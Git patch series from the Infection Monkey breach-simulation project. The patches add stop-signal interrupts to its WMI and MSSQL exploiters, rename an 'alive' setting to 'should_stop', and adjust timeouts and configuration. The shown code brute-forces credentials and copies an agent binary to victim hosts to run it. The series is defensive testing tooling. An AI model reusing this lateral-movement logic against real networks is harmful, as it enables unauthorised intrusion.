import datetime from bson import ObjectId @@ -295,22 +295,6 @@ class NodeService: def set_node_propagated(node_id): mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}}) - @staticmethod - def update_dead_monkeys(): - # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes - if mongo.db.monkey.find_one( - {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} - ): - return - - # config.alive is changed to true to cancel the force kill of dead monkeys - mongo.db.monkey.update( - {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, - {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, - upsert=False, - multi=True, - ) - @staticmethod def is_any_monkey_alive(): all_monkeys = models.Monkey.objects() From d1a4018d5fc77d0feb33162a2859aa1b37e1aed2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 16 Mar 2022 10:33:46 +0200 Subject: [PATCH 0770/1110] Agent: Pass interrupt event to HostExploiter --- monkey/infection_monkey/exploit/HostExploiter.py | 9 +++++++++ monkey/infection_monkey/exploit/exploiter_wrapper.py | 12 ++++++++++-- monkey/infection_monkey/puppet/plugin_registry.py | 3 ++- monkey/infection_monkey/puppet/puppet.py | 2 +- 4 files changed, 22 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 3bda4b0d7..d8afcf97b 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,4 +1,5 @@ import logging +import threading from abc import abstractmethod from datetime import datetime from typing import Dict @@ -66,12 +67,14 @@ class HostExploiter: telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository, options: Dict, + interrupt: threading.Event, ): self.host = host self.current_depth = current_depth self.telemetry_messenger = telemetry_messenger self.agent_repository = agent_repository self.options = options + self.interrupt = interrupt self.pre_exploit() try: @@ -91,6 +94,12 @@ class HostExploiter: ) self.set_start_time() + def is_interrupted(self): + # This method should be refactored to raise an exception to reduce duplication in the + # "if is_interrupted: return self.exploitation_results" + # Ideally the user should only do "check_for_interrupt()" + return self.interrupt.is_set() + def post_exploit(self): self.set_finish_time() diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index 5e855ff22..540e0b4a4 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -1,3 +1,4 @@ +import threading from typing import Dict, Type from infection_monkey.model import VictimHost @@ -26,10 +27,17 @@ class ExploiterWrapper: self._telemetry_messenger = telemetry_messenger self._agent_repository = agent_repository - def exploit_host(self, host: VictimHost, current_depth: int, options: Dict): + def exploit_host( + self, host: VictimHost, current_depth: int, options: Dict, interrupt: threading.Event + ): exploiter = self._exploit_class() return exploiter.exploit_host( - host, current_depth, self._telemetry_messenger, self._agent_repository, options + host, + current_depth, + self._telemetry_messenger, + self._agent_repository, + options, + interrupt, ) def __init__( diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 2ec1e3900..1fdca5bd5 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -1,4 +1,5 @@ import logging +from typing import Any from infection_monkey.i_puppet import PluginType, UnknownPluginError @@ -27,7 +28,7 @@ class PluginRegistry: logger.debug(f"Plugin '{plugin_name}' loaded") - def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> object: + def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Any: try: plugin = self._registry[plugin_type][plugin_name] except KeyError: diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 95e72533f..d8bc8e0eb 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -66,7 +66,7 @@ class Puppet(IPuppet): interrupt: threading.Event, ) -> ExploiterResultData: exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) - return exploiter.exploit_host(host, current_depth, options) + return exploiter.exploit_host(host, current_depth, options, interrupt) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) From fae25939b53660a60d224e61a8b2ce9860fc5070 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 16 Mar 2022 10:34:11 +0200 Subject: [PATCH 0771/1110] Agent: Add interrupt to WMI exploiter --- monkey/infection_monkey/exploit/wmiexec.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 7fc229ebe..1371ae9f2 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -30,6 +30,9 @@ class WmiExploiter(HostExploiter): creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: + if self.is_interrupted(): + return self.exploit_result + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") From 520e98032a732516b251b57825f775cee055eb8d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 16 Mar 2022 13:52:28 +0200 Subject: [PATCH 0772/1110] Agent, Island: Rename "alive" to "should_stop" in configuration "Alive" indicates state, when in fact we need a value indicating if stop command was sent to this monkey. Monkey alive state is already tracked elsewhere, in the Monkey document --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/models/config.py | 2 +- .../monkey_island/cc/services/config_schema/internal.py | 7 +++---- monkey/monkey_island/cc/services/infection_lifecycle.py | 8 ++++---- monkey/monkey_island/cc/services/node.py | 2 +- .../monkey_island/cc/services/test_infection_lifecycle.py | 6 +++--- 7 files changed, 14 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 9c239fd93..8a920cc52 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -81,7 +81,7 @@ class Configuration(object): # monkey config ########################### # sets whether or not the monkey is alive. if false will stop scanning and exploiting - alive = True + should_stop = False # depth of propagation depth = 2 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index ebadf1429..f0cbb6e16 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -9,7 +9,7 @@ "inaccessible_subnets": [], "blocked_ips": [], "current_server": "192.0.2.0:5000", - "alive": true, + "should_stop": false, "collect_system_info": true, "should_use_mimikatz": true, "depth": 2, diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index 437f73b44..db5fd9e94 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -8,6 +8,6 @@ class Config(EmbeddedDocument): See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ - alive = BooleanField() + should_stop = BooleanField() meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 98ab8b95e..26326721c 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -19,11 +19,10 @@ INTERNAL = { "title": "Monkey", "type": "object", "properties": { - "alive": { - "title": "Alive", + "should_stop": { "type": "boolean", - "default": True, - "description": "Is the monkey alive", + "default": False, + "description": "Was stop command issued for this monkey", }, "aws_keys": { "type": "object", diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 510e3deb6..871c279cc 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -16,7 +16,7 @@ logger = logging.getLogger(__name__) def set_stop_all(time: float): for monkey in Monkey.objects(): - monkey.config.alive = False + monkey.config.should_stop = True monkey.save() agent_controls = AgentControls.objects.first() agent_controls.last_stop_all = time @@ -25,11 +25,11 @@ def set_stop_all(time: float): def should_agent_die(guid: int) -> bool: monkey = Monkey.objects(guid=str(guid)).first() - return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually(monkey) + return _should_agent_stop(monkey) or _is_monkey_killed_manually(monkey) -def _is_monkey_marked_dead(monkey: Monkey) -> bool: - return not monkey.config.alive +def _should_agent_stop(monkey: Monkey) -> bool: + return monkey.config.should_stop def _is_monkey_killed_manually(monkey: Monkey) -> bool: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 688f67f92..6b672bc4d 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -249,7 +249,7 @@ class NodeService: # Cancel the force kill once monkey died if is_dead: - props_to_set["config.alive"] = True + props_to_set["config.should_stop"] = False mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py index 4d4c229c8..541124248 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py @@ -10,21 +10,21 @@ from monkey_island.cc.services.infection_lifecycle import should_agent_die @pytest.mark.usefixtures("uses_database") def test_should_agent_die_by_config(monkeypatch): monkey = Monkey(guid=str(uuid.uuid4())) - monkey.config = Config(alive=False) + monkey.config = Config(should_stop=True) monkey.save() assert should_agent_die(monkey.guid) monkeypatch.setattr( "monkey_island.cc.services.infection_lifecycle._is_monkey_killed_manually", lambda _: False ) - monkey.config.alive = True + monkey.config.should_stop = True monkey.save() assert not should_agent_die(monkey.guid) def create_monkey(launch_time): monkey = Monkey(guid=str(uuid.uuid4())) - monkey.config = Config(alive=True) + monkey.config = Config(should_stop=False) monkey.launch_time = launch_time monkey.save() return monkey From 1c79efc9410ab8d4753b9d4df3893d5d37bfb845 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 16 Mar 2022 15:58:34 +0000 Subject: [PATCH 0773/1110] Agent: Log why exploiter got interrupted when stopped --- monkey/infection_monkey/exploit/HostExploiter.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index d8afcf97b..54766d4b2 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -98,6 +98,8 @@ class HostExploiter: # This method should be refactored to raise an exception to reduce duplication in the # "if is_interrupted: return self.exploitation_results" # Ideally the user should only do "check_for_interrupt()" + if self.interrupt.is_set(): + logger.info("Exploiter has been interrupted by a stop signal from the Island") return self.interrupt.is_set() def post_exploit(self): From 1d748640926d4f3bf32ef92f31ccb08c5c0217b6 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 16 Mar 2022 16:00:58 +0000 Subject: [PATCH 0774/1110] Island: Fix agent stopping bugs 2 bugs fixed: UI used miliseconds instead of seconds and island kept stopping monkeys, but it should only stop monkey once to not prevent more runs --- monkey/monkey_island/cc/services/infection_lifecycle.py | 7 ++++++- monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 5 +++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 871c279cc..865602168 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -29,7 +29,12 @@ def should_agent_die(guid: int) -> bool: def _should_agent_stop(monkey: Monkey) -> bool: - return monkey.config.should_stop + if monkey.config.should_stop: + # Only stop the agent once, to allow further runs on that machine + monkey.config.should_stop = False + monkey.save() + return True + return False def _is_monkey_killed_manually(monkey: Monkey) -> bool: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 3c1350f58..9b4b09f4c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -88,10 +88,11 @@ class MapPageComponent extends AuthComponent { { method: 'POST', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({kill_time: Date.now()}) + // Python uses seconds, Date.now uses milliseconds, so convert + body: JSON.stringify({kill_time: Date.now() / 1000}) }) .then(res => res.json()) - .then(res => {this.setState({killPressed: true}); console.log(res)}); + .then(res => {this.setState({killPressed: true})}); }; renderKillDialogModal = () => { From 6bdd5ef1797d6c2fab67084b956c972003cdef8f Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 17 Mar 2022 13:50:02 +0000 Subject: [PATCH 0775/1110] Agent, UI: Improve style with small changes in interrupt code --- monkey/infection_monkey/exploit/HostExploiter.py | 1 + monkey/infection_monkey/exploit/wmiexec.py | 9 ++++++--- .../monkey_island/cc/ui/src/components/pages/MapPage.js | 4 ++-- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 54766d4b2..032a0564c 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -100,6 +100,7 @@ class HostExploiter: # Ideally the user should only do "check_for_interrupt()" if self.interrupt.is_set(): logger.info("Exploiter has been interrupted by a stop signal from the Island") + self.exploit_result["error_message"] = "Exploiter has been interrupted by a stop signal from the Island" return self.interrupt.is_set() def post_exploit(self): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 1371ae9f2..a428a4759 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -15,6 +15,7 @@ from infection_monkey.utils.brute_force import ( get_credential_string, ) from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter logger = logging.getLogger(__name__) @@ -28,10 +29,12 @@ class WmiExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: creds = generate_brute_force_combinations(self.options["credentials"]) + intp_creds = interruptable_iter(creds, + self.interrupt, + "WMI exploiter has been interrupted by a stop signal from the Island", + logging.INFO) - for user, password, lm_hash, ntlm_hash in creds: - if self.is_interrupted(): - return self.exploit_result + for user, password, lm_hash, ntlm_hash in intp_creds: creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 9b4b09f4c..fa782eac7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -88,8 +88,8 @@ class MapPageComponent extends AuthComponent { { method: 'POST', headers: {'Content-Type': 'application/json'}, - // Python uses seconds, Date.now uses milliseconds, so convert - body: JSON.stringify({kill_time: Date.now() / 1000}) + // Python uses floating point seconds, Date.now uses milliseconds, so convert + body: JSON.stringify({kill_time: Date.now() / 1000.0}) }) .then(res => res.json()) .then(res => {this.setState({killPressed: true})}); From a002c96bc63bb0bf342319908329287eaafd20f0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Mar 2022 10:45:56 -0400 Subject: [PATCH 0776/1110] Agent: Add interrupt to powershell tests --- .../unit_tests/infection_monkey/exploit/test_powershell.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index f75c57f17..21a0bdeb3 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -1,3 +1,4 @@ +import threading from io import BytesIO from unittest.mock import MagicMock @@ -43,6 +44,7 @@ def powershell_arguments(): "current_depth": 2, "telemetry_messenger": MagicMock(), "agent_repository": mock_agent_repository, + "interrupt": threading.Event(), } return arguments From 040a23546ccfbf37422f2bde61bcffebb3f2db56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Mar 2022 12:45:37 -0400 Subject: [PATCH 0777/1110] Agent: Add a comment about Impacket timeouts --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 5b21d2d9f..b6346ba14 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -49,6 +49,7 @@ class WmiTools(object): if not domain: domain = host.ip_addr + # Impacket has a hard-coded timeout of 30 seconds dcom = DCOMConnection( host.ip_addr, username=username, From 54bbe8bf2f77dd9ec9df52ec91e0360ded28c15b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Mar 2022 12:46:08 -0400 Subject: [PATCH 0778/1110] Agent: Add WMI error message to results if exploit failed --- monkey/infection_monkey/exploit/wmiexec.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index a428a4759..bfa428856 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -29,10 +29,12 @@ class WmiExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: creds = generate_brute_force_combinations(self.options["credentials"]) - intp_creds = interruptable_iter(creds, - self.interrupt, - "WMI exploiter has been interrupted by a stop signal from the Island", - logging.INFO) + intp_creds = interruptable_iter( + creds, + self.interrupt, + "WMI exploiter has been interrupted by a stop signal from the Island", + logging.INFO, + ) for user, password, lm_hash, ntlm_hash in intp_creds: @@ -66,6 +68,8 @@ class WmiExploiter(HostExploiter): self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.exploit_result.exploitation_success = True + # TODO: This check is racey at best. Is it really necessary? If we execute an agent on + # the victim and there's one already running, it will stop itself. # query process list and check if monkey already running on victim process_list = WmiTools.list_object( wmi_connection, @@ -126,7 +130,7 @@ class WmiExploiter(HostExploiter): self.add_vuln_port(port="unknown") self.exploit_result.propagation_success = True else: - logger.debug( + error_message = ( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " "cmdline=%r)", remote_full_path, @@ -135,6 +139,8 @@ class WmiExploiter(HostExploiter): result.ReturnValue, cmdline, ) + logger.debug(error_message) + self.exploit_results.error_message = error_message result.RemRelease() wmi_connection.close() From b70144f5e1a674381c3bca51de8b02c70de67424 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Mar 2022 08:43:28 +0000 Subject: [PATCH 0779/1110] Agent: Remove remote check for running monkey in WMI exploiter --- monkey/infection_monkey/exploit/wmiexec.py | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index bfa428856..4adce62d9 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -68,21 +68,6 @@ class WmiExploiter(HostExploiter): self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.exploit_result.exploitation_success = True - # TODO: This check is racey at best. Is it really necessary? If we execute an agent on - # the victim and there's one already running, it will stop itself. - # query process list and check if monkey already running on victim - process_list = WmiTools.list_object( - wmi_connection, - "Win32_Process", - fields=("Caption",), - where=f"Name='{ntpath.split(self.options['dropper_target_path_win_64'])[-1]}'", - ) - if process_list: - wmi_connection.close() - - logger.debug("Skipping %r - already infected", self.host) - return self.exploit_result - downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) remote_full_path = SmbTools.copy_file( From bd07459dab0ad6b2cf5243d0a26c4c9883a92a28 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Mar 2022 08:44:35 +0000 Subject: [PATCH 0780/1110] Agent: Fix typos and comments in WMI and HostExploiter.py --- monkey/infection_monkey/exploit/HostExploiter.py | 4 ++-- monkey/infection_monkey/exploit/wmiexec.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 032a0564c..2e198ac4c 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -99,8 +99,8 @@ class HostExploiter: # "if is_interrupted: return self.exploitation_results" # Ideally the user should only do "check_for_interrupt()" if self.interrupt.is_set(): - logger.info("Exploiter has been interrupted by a stop signal from the Island") - self.exploit_result["error_message"] = "Exploiter has been interrupted by a stop signal from the Island" + logger.info("Exploiter has been interrupted") + self.exploit_result.error_message = "Exploiter has been interrupted" return self.interrupt.is_set() def post_exploit(self): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 4adce62d9..69eab12dd 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -32,7 +32,7 @@ class WmiExploiter(HostExploiter): intp_creds = interruptable_iter( creds, self.interrupt, - "WMI exploiter has been interrupted by a stop signal from the Island", + "WMI exploiter has been interrupted", logging.INFO, ) @@ -125,7 +125,7 @@ class WmiExploiter(HostExploiter): cmdline, ) logger.debug(error_message) - self.exploit_results.error_message = error_message + self.exploit_result.error_message = error_message result.RemRelease() wmi_connection.close() From 13e5c03cf92d05362758be79cb034d0cc3452cd0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 18 Mar 2022 14:14:22 +0200 Subject: [PATCH 0781/1110] Agent: Add interrupt check before/after agent upload in wmiexec.py --- monkey/infection_monkey/exploit/wmiexec.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 69eab12dd..b50e0830d 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -70,6 +70,9 @@ class WmiExploiter(HostExploiter): downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) + if self.is_interrupted(): + return self.exploit_result + remote_full_path = SmbTools.copy_file( self.host, downloaded_agent, @@ -81,6 +84,9 @@ class WmiExploiter(HostExploiter): self.options["smb_download_timeout"], ) + if self.is_interrupted(): + return self.exploit_result + if not remote_full_path: wmi_connection.close() return self.exploit_result From bf6d856015f9dc94f1fa19ce1d7e957d46b8c786 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 18 Mar 2022 14:27:30 +0200 Subject: [PATCH 0782/1110] Agent: Remove interrupt check after agent upload in wmiexec.py --- monkey/infection_monkey/exploit/wmiexec.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index b50e0830d..7b7c9ad1e 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -84,9 +84,6 @@ class WmiExploiter(HostExploiter): self.options["smb_download_timeout"], ) - if self.is_interrupted(): - return self.exploit_result - if not remote_full_path: wmi_connection.close() return self.exploit_result From 0ffe023a9f19d4df17767a714e8609012864cbca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Mar 2022 14:26:07 -0400 Subject: [PATCH 0783/1110] Agent: Add a query timeout to pymssql.connect() --- monkey/infection_monkey/exploit/mssqlexec.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index bdef41784..01cc8b59b 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -23,6 +23,7 @@ class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" _TARGET_OS_TYPE = ["windows"] LOGIN_TIMEOUT = 15 + QUERY_TIMEOUT = LOGIN_TIMEOUT # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = "1433" @@ -213,7 +214,12 @@ class MSSQLExploiter(HostExploiter): # Core steps # Trying to connect conn = pymssql.connect( - host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + host, + user, + password, + port=port, + login_timeout=self.LOGIN_TIMEOUT, + timeout=self.QUERY_TIMEOUT, ) logger.info( f"Successfully connected to host: {host} using user: {user} and password" From df5a0fe119861ff3f07e2c1c306040736ab25434 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 17 Mar 2022 14:28:46 -0400 Subject: [PATCH 0784/1110] Agent: Make MSSQLExploiter interruptible --- monkey/infection_monkey/exploit/mssqlexec.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 01cc8b59b..05512aff4 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -15,6 +15,7 @@ from infection_monkey.model import DROPPER_ARG from infection_monkey.transport import LockedHTTPServer from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter logger = logging.getLogger(__name__) @@ -72,6 +73,9 @@ class MSSQLExploiter(HostExploiter): ) return self.exploit_result + if self.is_interrupted(): + return self.exploit_result + try: # Create dir for payload self.create_temp_dir() @@ -209,7 +213,14 @@ class MSSQLExploiter(HostExploiter): """ # Main loop # Iterates on users list - for user, password in users_passwords_pairs_list: + credentials_iterator = interruptable_iter( + users_passwords_pairs_list, + self.interrupt, + "MSSQL exploiter has been interrupted", + logging.INFO, + ) + + for user, password in credentials_iterator: try: # Core steps # Trying to connect From a247fa954c472e8e38cba67c6c3981b66b0665c8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:12:34 -0400 Subject: [PATCH 0785/1110] Agent: Use LONG_REQUEST_TIMEOUT for LOGIN_TIMEOUT in MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 05512aff4..9a9bfef7a 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -23,8 +23,8 @@ logger = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" _TARGET_OS_TYPE = ["windows"] - LOGIN_TIMEOUT = 15 - QUERY_TIMEOUT = LOGIN_TIMEOUT + LOGIN_TIMEOUT = LONG_REQUEST_TIMEOUT + QUERY_TIMEOUT = LONG_REQUEST_TIMEOUT # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = "1433" From 415f3e6468e7d783b466e0087045a2cd1d66ab7a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:40:12 -0400 Subject: [PATCH 0786/1110] Agent: Remove smb_service_name configuration option This option is never changed and can be more easily stored as a constant. --- CHANGELOG.md | 1 + monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/smbexec.py | 5 +++-- monkey/monkey_island/cc/services/config_schema/internal.py | 7 ------- .../tests/data_for_tests/monkey_configs/flat_config.json | 1 - 6 files changed, 4 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4af0e245b..63fa2717a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - T1082 attack technique report. #1754 - 32-bit agents. #1675 - Log path config options. #1761 +- "smb_service_name" option. #1741 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8a920cc52..96783a249 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -120,7 +120,6 @@ class Configuration(object): # smb/wmi exploiter smb_download_timeout = 30 # timeout in seconds - smb_service_name = "InfectionMonkey" ########################### # post breach actions diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index f0cbb6e16..7a4386107 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -38,7 +38,6 @@ ], "ping_scan_timeout": 10000, "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", "self_delete_in_cleanup": true, "exploit_user_list": [], "exploit_password_list": [], diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index b5b6f65c3..9a978b8a9 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ 